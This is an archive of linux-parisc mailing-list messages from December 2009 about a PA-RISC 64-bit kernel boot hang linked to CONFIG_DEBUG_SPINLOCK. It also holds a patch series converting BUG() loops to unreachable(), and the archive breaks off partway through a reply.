	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NIWIv-0006aB-Py
	for glpp-linux-parisc@lo.gmane.org; Thu, 10 Dec 2009 00:50:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758765AbZLIXui (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Dec 2009 18:50:38 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758777AbZLIXui
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Dec 2009 18:50:38 -0500
Original-Received: from mail-ew0-f209.google.com ([209.85.219.209]:44860 "EHLO
	mail-ew0-f209.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758765AbZLIXuh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Dec 2009 18:50:37 -0500
Original-Received: by ewy1 with SMTP id 1so5028999ewy.28
        for <linux-parisc@vger.kernel.org>; Wed, 09 Dec 2009 15:50:43 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:received:date:from:to:subject
         :message-id:mail-followup-to:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=xAkFirSgJ/EteCkqoxLlJMCsVTivVDy3B8C9HccCr18=;
        b=P7wvfohB3yxU9tDoQqEhjf0tHja0PCf3cqllc0+98MskXFOZARNLYN/0n60Cy4Mbqa
         Rfg4N6dXZ+IBtfzneKN2f9+u8lGTc5aCBXu1jdkIBqoOjxqH89PzqagWdBj4oewWDzuI
         RhI49wWU5g8Ub0+0IrE5eLGA9/PMWMBvxM+ys=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:subject:message-id:mail-followup-to:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        b=GoCBueAl0QS/B3oJ1uPi65xLNuxuLQ4FSe/B4Q6elu+LVxeNNsTUykxyq8HCliG8Mb
         Q3uDjCjDn08vvaHwxyHCToWkq8+SE73MFQZ5/qbPTLcVk78BLKOEdMK4CKig7eUq40nL
         7ic5g6eRAcDnEZT2KneA/ujZFUwBAbq7YQpLQ=
Original-Received: by 10.216.90.203 with SMTP id e53mr2203562wef.28.1260402642951;
        Wed, 09 Dec 2009 15:50:42 -0800 (PST)
Original-Received: from raptus.dandreoli.com (host158-49-dynamic.45-79-r.retail.telecomitalia.it [79.45.49.158])
        by mx.google.com with ESMTPS id p37sm1016780gvf.23.2009.12.09.15.50.40
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Wed, 09 Dec 2009 15:50:40 -0800 (PST)
Original-Received: by raptus.dandreoli.com (Postfix, from userid 1000)
	id C1C971DE9F; Thu, 10 Dec 2009 00:50:38 +0100 (CET)
Mail-Followup-To: linux-parisc@vger.kernel.org
Content-Disposition: inline
In-Reply-To: <20091207234404.GA5083@raptus.dandreoli.com>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2408
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2408>

On Tue, Dec 08, 2009 at 12:44:04AM +0100, Domenico Andreoli wrote:
> On Sat, Dec 05, 2009 at 09:35:11AM +0100, Domenico Andreoli wrote:
> > On Fri, Dec 04, 2009 at 07:50:10PM +0100, Helge Deller wrote:
> > 
> > > I just want to make sure, that you have more or less a correct kernel
> > > configuration setup (.config)....
> > 
> > there is at least a configuration glitch which makes my kernel hang
> > and the debian one continue in degraded mode. i attached also the
> > configuration, just in case i forgot something important.
> 
> i found the configuration glitch, it is CONFIG_DEBUG_MUTEXES. if it is
> set, 64bit hangs right after "Releasing cpu 1 now, hpa=...", otherwise
> the 64bit boot continues with a "SMP: CPU:1 is stuck."

i was wrong, it's again CONFIG_DEBUG_SPINLOCK. if it is set, the
boot hangs.

i passed the last few days building kernels...

cheers,
Domenico

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: my usual problem with 64bit kernel
Date: Thu, 10 Dec 2009 12:08:46 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <20091210170846.GA28962@bombadil.infradead.org>
References: <20091204172838.GA4551@raptus.dandreoli.com> <4B1959E2.1030700@gmx.de> <20091205083511.GA6559@raptus.dandreoli.com> <20091207234404.GA5083@raptus.dandreoli.com> <20091209235038.GA12806@raptus.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1260464950 8298 80.91.229.12 (10 Dec 2009 17:09:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Dec 2009 17:09:10 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 10 18:09:03 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NImVT-0008LW-Ap
	for glpp-linux-parisc@lo.gmane.org; Thu, 10 Dec 2009 18:08:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761065AbZLJRIk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Dec 2009 12:08:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761072AbZLJRIk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 10 Dec 2009 12:08:40 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:45952 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1761065AbZLJRIj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Dec 2009 12:08:39 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NImVS-0004A2-44
	for linux-parisc@vger.kernel.org; Thu, 10 Dec 2009 17:08:46 +0000
Content-Disposition: inline
In-Reply-To: <20091209235038.GA12806@raptus.dandreoli.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2409
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2409>

On Thu, Dec 10, 2009 at 12:50:38AM +0100, Domenico Andreoli wrote:
> On Tue, Dec 08, 2009 at 12:44:04AM +0100, Domenico Andreoli wrote:
> > On Sat, Dec 05, 2009 at 09:35:11AM +0100, Domenico Andreoli wrote:
> > > On Fri, Dec 04, 2009 at 07:50:10PM +0100, Helge Deller wrote:
> > > 
> > > > I just want to make sure, that you have more or less a correct kernel
> > > > configuration setup (.config)....
> > > 
> > > there is at least a configuration glitch which makes my kernel hang
> > > and the debian one continue in degraded mode. i attached also the
> > > configuration, just in case i forgot something important.
> > 
> > i found the configuration glitch, it is CONFIG_DEBUG_MUTEXES. if it is
> > set, 64bit hangs right after "Releasing cpu 1 now, hpa=...", otherwise
> > the 64bit boot continues with a "SMP: CPU:1 is stuck."
> 
> i was wrong, it's again CONFIG_DEBUG_SPINLOCK. if it is set, the
> boot hangs.
> 
> i passed the last few days building kernels...
> 

So CONFIG_DEBUG_SPINLOCK causes hangs, with it unset, everything is
fine? Interesting. Sounds like initialization issues. I'll take a look
soon.

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Daney <ddaney@caviumnetworks.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: [PATCH 0/5] More unreachable() conversions.
Date: Thu, 10 Dec 2009 09:25:00 -0800
Lines: 32
Approved: news@gmane.org
Message-ID: <4B212EEC.3060808@caviumnetworks.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1260465956 12597 80.91.229.12 (10 Dec 2009 17:25:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Dec 2009 17:25:56 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	linux-arch@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	linux-am33-list@redhat.com, Kyle McMartin <kyle@mcm
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 10 18:25:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NImlv-0002G4-4m
	for glpp-linux-parisc@lo.gmane.org; Thu, 10 Dec 2009 18:25:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760874AbZLJRZe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Dec 2009 12:25:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761180AbZLJRZe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 10 Dec 2009 12:25:34 -0500
Original-Received: from mail3.caviumnetworks.com ([12.108.191.235]:3772 "EHLO
	mail3.caviumnetworks.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760874AbZLJRZc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Dec 2009 12:25:32 -0500
Original-Received: from caexch01.caveonetworks.com (Not Verified[192.168.16.9]) by mail3.caviumnetworks.com with MailMarshal (v6,5,4,7535)
	id <B4b212efe0000>; Thu, 10 Dec 2009 09:25:18 -0800
Original-Received: from caexch01.caveonetworks.com ([192.168.16.9]) by caexch01.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Thu, 10 Dec 2009 09:25:02 -0800
Original-Received: from dd1.caveonetworks.com ([12.108.191.236]) by caexch01.caveonetworks.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959);
	 Thu, 10 Dec 2009 09:25:02 -0800
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
X-OriginalArrivalTime: 10 Dec 2009 17:25:02.0604 (UTC) FILETIME=[B50194C0:01CA79BD]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2410 gmane.linux.kernel:925414 gmane.linux.kernel.cross-arch:4829
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2410>

Back in commit 38938c879eb0c39edf85d5164aa0cffe2874304c the new macro
unreachable() was added.  We can use it in BUG instead of a variety of
ad hoc endless loops.

This patch set consists of the patches from the original set that were
never Acked-by anyone.  Although they are completely untested, they
seem plausible.

I don't plan on pushing these things out any more, so if you
like them please merge them via your architecture trees.

I will reply with the 5 patches.

David Daney (5):
   mn10300: Convert BUG() to use unreachable()
   parisc: Convert BUG() to use unreachable()
   powerpc: Convert BUG() to use unreachable()
   alpha: Convert BUG() to use unreachable()
   blackfin: Convert BUG() to use unreachable()

  arch/alpha/include/asm/bug.h    |    3 ++-
  arch/blackfin/include/asm/bug.h |    2 +-
  arch/mn10300/include/asm/bug.h  |    3 ++-
  arch/parisc/include/asm/bug.h   |    4 ++--
  arch/powerpc/include/asm/bug.h  |    2 +-
  5 files changed, 8 insertions(+), 6 deletions(-)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Daney <ddaney@caviumnetworks.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: [PATCH 2/5] parisc: Convert BUG() to use unreachable()
Date: Thu, 10 Dec 2009 09:28:18 -0800
Lines: 39
Approved: news@gmane.org
Message-ID: <1260466101-17545-2-git-send-email-ddaney@caviumnetworks.com>
References: <4B212EEC.3060808@caviumnetworks.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1260466184 13526 80.91.229.12 (10 Dec 2009 17:29:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Dec 2009 17:29:44 +0000 (UTC)
Cc: akpm@linux-foundation.org, torvalds@linux-foundation.org,
	David Daney <ddaney@caviumnetworks.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 10 18:29:36 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NImpb-0004KS-CT
	for glpp-linux-parisc@lo.gmane.org; Thu, 10 Dec 2009 18:29:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761249AbZLJR3U (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Dec 2009 12:29:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761247AbZLJR3T
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 10 Dec 2009 12:29:19 -0500
Original-Received: from mail3.caviumnetworks.com ([12.108.191.235]:3894 "EHLO
	mail3.caviumnetworks.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1761240AbZLJR3P (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Dec 2009 12:29:15 -0500
Original-Received: from caexch01.caveonetworks.com (Not Verified[192.168.16.9]) by mail3.caviumnetworks.com with MailMarshal (v6,5,4,7535)
	id <B4b212ff00004>; Thu, 10 Dec 2009 09:29:20 -0800
Original-Received: from caexch01.caveonetworks.com ([192.168.16.9]) by caexch01.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Thu, 10 Dec 2009 09:28:28 -0800
Original-Received: from dd1.caveonetworks.com ([12.108.191.236]) by caexch01.caveonetworks.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959);
	 Thu, 10 Dec 2009 09:28:28 -0800
Original-Received: from dd1.caveonetworks.com (localhost.localdomain [127.0.0.1])
	by dd1.caveonetworks.com (8.14.2/8.14.2) with ESMTP id nBAHSOsT017574;
	Thu, 10 Dec 2009 09:28:24 -0800
Original-Received: (from ddaney@localhost)
	by dd1.caveonetworks.com (8.14.2/8.14.2/Submit) id nBAHSN2F017573;
	Thu, 10 Dec 2009 09:28:23 -0800
X-Mailer: git-send-email 1.6.0.6
In-Reply-To: <4B212EEC.3060808@caviumnetworks.com>
X-OriginalArrivalTime: 10 Dec 2009 17:28:28.0826 (UTC) FILETIME=[2FEC8FA0:01CA79BE]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2411 gmane.linux.kernel:925417 gmane.linux.kernel.cross-arch:4830
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2411>

Use the new unreachable() macro instead of for(;;);

Signed-off-by: David Daney <ddaney@caviumnetworks.com>
CC: Kyle McMartin <kyle@mcmartin.ca>
CC: Helge Deller <deller@gmx.de>
CC: linux-parisc@vger.kernel.org
---
 arch/parisc/include/asm/bug.h |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/include/asm/bug.h b/arch/parisc/include/asm/bug.h
index 8cfc553..75e46c5 100644
--- a/arch/parisc/include/asm/bug.h
+++ b/arch/parisc/include/asm/bug.h
@@ -32,14 +32,14 @@
 			     "\t.popsection"				\
 			     : : "i" (__FILE__), "i" (__LINE__),	\
 			     "i" (0), "i" (sizeof(struct bug_entry)) ); \
-		for(;;) ;						\
+		unreachable();						\
 	} while(0)
 
 #else
 #define BUG()								\
 	do {								\
 		asm volatile(PARISC_BUG_BREAK_ASM : : );		\
-		for(;;) ;						\
+		unreachable();						\
 	} while(0)
 #endif
 
-- 
1.6.2.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: my usual problem with 64bit kernel
Date: Thu, 10 Dec 2009 19:42:02 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <b40acdb70912101042k351d33b2ndac99a162969dfb4@mail.gmail.com>
References: <20091204172838.GA4551@raptus.dandreoli.com>
	 <4B1959E2.1030700@gmx.de> <20091205083511.GA6559@raptus.dandreoli.com>
	 <20091207234404.GA5083@raptus.dandreoli.com>
	 <20091209235038.GA12806@raptus.dandreoli.com>
	 <20091210170846.GA28962@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1260470574 29920 80.91.229.12 (10 Dec 2009 18:42:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Dec 2009 18:42:54 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 10 19:42:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NInxq-00022e-Md
	for glpp-linux-parisc@lo.gmane.org; Thu, 10 Dec 2009 19:42:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761413AbZLJSl5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Dec 2009 13:41:57 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761430AbZLJSl5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 10 Dec 2009 13:41:57 -0500
Original-Received: from mail-gx0-f212.google.com ([209.85.217.212]:38866 "EHLO
	mail-gx0-f212.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1761413AbZLJSl4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Dec 2009 13:41:56 -0500
Original-Received: by gxk4 with SMTP id 4so183875gxk.8
        for <linux-parisc@vger.kernel.org>; Thu, 10 Dec 2009 10:42:03 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:content-type;
        bh=pGA302QXKf8ZnYBVLSphTY3mC2wqSgylaK/k+sM29Ww=;
        b=X0PRz9EizlLguNdb6B0rsLGhShGCC1XJAFjMf7tynK5bdF7PRq9hLv/YPjWQeuWDul
         FoFVGku5gnWdTDgpIqP5qd/GIDQcQTc/zT09DZHxwboNCm4ZCzIrJq0Jh7BaLti3wfJL
         2oekH2sDsnVBYtqI5wAyG8reXpDv2kA8U+y94=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :content-type;
        b=J8PxrD+wty8DVo0B3P58akqZQmJdM6OEa7KDa89JGpg1fCIKBgCnQQgNiL9nfC0ZJd
         HVJf+0y0ZkmVUoKTvHqHp7/7DKVjSirQ/Qd4ZY1f2N6UYGtZLz/6z/qFn1EywInoi+gg
         GuKs17FEaZRFss1+G14GWE6oNlGXvXHRPvqoU=
Original-Received: by 10.91.32.19 with SMTP id k19mr550250agj.30.1260470522909; Thu, 10 
	Dec 2009 10:42:02 -0800 (PST)
In-Reply-To: <20091210170846.GA28962@bombadil.infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2412
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2412>

On Thu, Dec 10, 2009 at 6:08 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> On Thu, Dec 10, 2009 at 12:50:38AM +0100, Domenico Andreoli wrote:
>> On Tue, Dec 08, 2009 at 12:44:04AM +0100, Domenico Andreoli wrote:
>> > On Sat, Dec 05, 2009 at 09:35:11AM +0100, Domenico Andreoli wrote:
>> > > On Fri, Dec 04, 2009 at 07:50:10PM +0100, Helge Deller wrote:
>> > >
>> > > > I just want to make sure, that you have more or less a correct kernel
>> > > > configuration setup (.config)....
>> > >
>> > > there is at least a configuration glitch which makes my kernel hang
>> > > and the debian one continue in degraded mode. i attached also the
>> > > configuration, just in case i forgot something important.
>> >
>> > i found the configuration glitch, it is CONFIG_DEBUG_MUTEXES. if it is
>> > set, 64bit hangs right after "Releasing cpu 1 now, hpa=...", otherwise
>> > the 64bit boot continues with a "SMP: CPU:1 is stuck."
>>
>> i was wrong, it's again CONFIG_DEBUG_SPINLOCK. if it is set, the
>> boot hangs.
>>
>> i passed the last few days building kernels...
>>
>
> So CONFIG_DEBUG_SPINLOCK causes hangs, with it unset, everything is
> fine? Interesting. Sounds like initialization issues. I'll take a look soon.

no exactly, with CONFIG_DEBUG_SPINLOCK unset kernel boots but still with
1 CPU and the "SMP: CPU:1 is stuck." message, this at 64bit.

at 32bit and CONFIG_DEBUG_SPINLOCK unset (both gcc 4.3 & 4.4) i get
the build error i reported in another thread. with CONFIG_DEBUG_SPINLOCK
set kernel builds and runs nicely.

regards,
Domenico

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: my usual problem with 64bit kernel
Date: Thu, 10 Dec 2009 19:47:27 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <b40acdb70912101047ue82980aw3d0006084c2f59b1@mail.gmail.com>
References: <20091204172838.GA4551@raptus.dandreoli.com>
	 <4B1959E2.1030700@gmx.de> <20091205083511.GA6559@raptus.dandreoli.com>
	 <20091207234404.GA5083@raptus.dandreoli.com>
	 <20091209235038.GA12806@raptus.dandreoli.com>
	 <20091210170846.GA28962@bombadil.infradead.org>
	 <b40acdb70912101042k351d33b2ndac99a162969dfb4@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1260470862 30992 80.91.229.12 (10 Dec 2009 18:47:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Dec 2009 18:47:42 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 10 19:47:35 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NIo30-0005NT-S5
	for glpp-linux-parisc@lo.gmane.org; Thu, 10 Dec 2009 19:47:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761202AbZLJSrX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Dec 2009 13:47:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1761394AbZLJSrX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 10 Dec 2009 13:47:23 -0500
Original-Received: from mail-yx0-f187.google.com ([209.85.210.187]:37235 "EHLO
	mail-yx0-f187.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1761202AbZLJSrW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Dec 2009 13:47:22 -0500
Original-Received: by yxe17 with SMTP id 17so68045yxe.33
        for <linux-parisc@vger.kernel.org>; Thu, 10 Dec 2009 10:47:28 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:content-type;
        bh=Cs4Rhel8nCjdmICU9nMGq4ye03RQzyN6cZ74tIzEj4A=;
        b=PSEFHYeo7xDtVncrxl6xz5k+++UP2wsYn1CsC27DsDqQTCrCaHRPzbXSM5pPLT2G5B
         xjHDrG4Oy6yTAeyvRoh6wBVO5NP0W0an9vZ6whbbJv7i+ov3ihIPgKFaKi5BGme2KG3p
         rO8K86vOEOHLMAuuoqNGZNnOsCoX3wbMzOjNQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :content-type;
        b=AOYDiBXO3+NbEZOVYVNUgaznF0c3x++fQlbY2A98SPVYQovZ/K79uspXN/aRZO+ITV
         gCWpGz9QqjtvDMxc7rf/Of+0KrWIG+ptyDUyuxlYFyl3izT/D/SQM9Y2A1fPTAfI+x1W
         icepSjybwyUzxMeIhiu9pxP/Yr05ipfu3G8kQ=
Original-Received: by 10.91.161.31 with SMTP id n31mr564202ago.29.1260470847929; Thu, 
	10 Dec 2009 10:47:27 -0800 (PST)
In-Reply-To: <b40acdb70912101042k351d33b2ndac99a162969dfb4@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2413
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2413>

On Thu, Dec 10, 2009 at 7:42 PM, Domenico Andreoli <cavokz@gmail.com> wrote:
> On Thu, Dec 10, 2009 at 6:08 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
>> On Thu, Dec 10, 2009 at 12:50:38AM +0100, Domenico Andreoli wrote:
>>> On Tue, Dec 08, 2009 at 12:44:04AM +0100, Domenico Andreoli wrote:
>>> > On Sat, Dec 05, 2009 at 09:35:11AM +0100, Domenico Andreoli wrote:
>>> > > On Fri, Dec 04, 2009 at 07:50:10PM +0100, Helge Deller wrote:
>>> > >
>>> > > > I just want to make sure, that you have more or less a correct kernel
>>> > > > configuration setup (.config)....
>>> > >
>>> > > there is at least a configuration glitch which makes my kernel hang
>>> > > and the debian one continue in degraded mode. i attached also the
>>> > > configuration, just in case i forgot something important.
>>> >
>>> > i found the configuration glitch, it is CONFIG_DEBUG_MUTEXES. if it is
>>> > set, 64bit hangs right after "Releasing cpu 1 now, hpa=...", otherwise
>>> > the 64bit boot continues with a "SMP: CPU:1 is stuck."
>>>
>>> i was wrong, it's again CONFIG_DEBUG_SPINLOCK. if it is set, the
>>> boot hangs.
>>>
>>> i passed the last few days building kernels...
>>>
>>
>> So CONFIG_DEBUG_SPINLOCK causes hangs, with it unset, everything is
>> fine? Interesting. Sounds like initialization issues. I'll take a look soon.
>
> no exactly, with CONFIG_DEBUG_SPINLOCK unset kernel boots but still with
